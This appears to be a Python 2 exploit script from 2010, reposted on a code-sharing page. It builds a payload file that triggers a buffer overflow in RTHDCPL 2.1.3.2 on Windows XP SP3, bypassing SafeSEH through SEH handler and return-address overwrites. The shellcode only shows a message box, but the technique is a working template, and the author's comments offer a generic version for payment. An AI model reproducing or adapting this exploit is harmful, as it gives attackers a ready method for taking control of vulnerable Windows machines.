扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
# done by BraniX <branix@hackers.org.pl> # www.hackers.org.pl # found: 2010.08.24 # tested on: Windows XP SP3 Home Edition # SafeSEH bypass # App. has classic buffer overflow vulnerability # it can be triggered by passing a too long argument # as a startup parameter. Shellcode can by run via classic # ret overwrite or SEH Handler overwrite ... so it's a mini-combo ;) # Ps. If you need a generic exploit ... # (no hardcoded VA'a), write it yourself ;) or 'donate few' $$$ # we will c0de it for You ^^ filepath = "C:\\ShellCode\\RTHDCPL 2.1.3.2 - Exploit.bin" f = open(filepath, "wb") f.write('A'*4) f.write('\x5E') # pop esi f.write('\x5E') # pop esi f.write('\xC3') # ret f.write('\x90') # nop f.write('[BraniX]') f.write('A'*448)# mock f.write('\xEB\x06') # jmp +6 f.write('\x90') # nop f.write('\x90') # nop f.write('\x70\x01\xA5\x01') # pop; pop; ret; address f.write('\x83\xC1\x0C') # add ecx, 0Ch f.write('\x88\x01') # mov byte ptr [ecx], al f.write('\x83\xE9\x08') # sub ecx, 08 f.write('\x50') # push eax f.write('\x51') # push ecx f.write('\x51') # push ecx f.write('\x50') # push eax f.write('\xE8\xC5\x08\x27\x7E') # call user32.MessageBoxA f.write('\x50') # push eax f.write('\xE8\xE7\xCB\x6E\x7C') # call kernel32.ExitProcess f.write('\xCC'*1500)# int 3's f.close() print "Done ..." |
体验盒子
